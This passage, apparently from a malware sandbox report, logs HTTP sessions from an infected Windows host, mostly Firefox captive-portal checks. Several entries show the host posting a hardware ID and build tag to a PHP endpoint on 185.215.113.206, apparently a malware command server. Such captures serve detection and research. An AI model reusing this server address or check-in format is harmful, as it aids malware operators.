66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="build"stok------DHIJDHIDBGHJKECBFIID--
Dec 16, 2024 15:03:34.668984890 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	50135	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:37.364521980 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:38.452145100 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84191 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:38.599219084 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:38.914135933 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84191 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:39.038001060 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:39.353431940 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84192 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:39.948296070 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:40.340428114 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:40.569155931 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84193 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:41.704830885 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:42.020385981 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84194 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:48.969419956 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:49.287938118 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84202 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:49.831672907 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84202 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:59.348881960 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 16, 2024 15:04:00.471486092 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:04:00.786839962 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84213 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:04:06.790839911 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:04:07.107247114 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84219 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:04:08.244709969 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:04:08.560456991 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84221 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:04:18.640804052 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 16, 2024 15:04:21.867335081 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:04:22.186099052 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84235 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:04:25.950520039 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:04:26.268004894 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84239 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:04:36.347359896 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 16, 2024 15:04:37.095591068 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:04:37.496970892 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84250 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:04:38.418344975 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:04:38.733660936 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84251 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:04:48.741580009 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 16, 2024 15:04:59.053519964 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50145	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:38.172621012 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:03:39.505573034 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:03:39.510649920 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="build"stok------KECBGCGCGIEGCBFHIIEB--
Dec 16, 2024 15:03:40.374506950 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Dec 16, 2024 15:03:40.374789953 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	50146	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:38.727818012 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	50148	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:39.050329924 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	50152	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:39.480246067 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:03:40.567867041 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63399 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:03:40.572859049 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:03:40.887747049 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63399 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:03:42.024282932 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:03:42.339860916 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63401 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:03:49.291445971 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:03:49.661209106 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:03:50.027147055 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63408 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:04:00.073256969 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 16, 2024 15:04:00.790862083 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:04:01.123531103 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63419 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:04:07.113204956 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:04:07.429332018 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63426 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:04:08.563977003 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:04:08.879148960 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63427 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:04:18.962879896 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 16, 2024 15:04:22.225133896 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:04:22.542211056 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63441 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:04:26.273334980 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:04:26.587883949 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63445 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:04:36.669857025 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 16, 2024 15:04:37.500644922 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
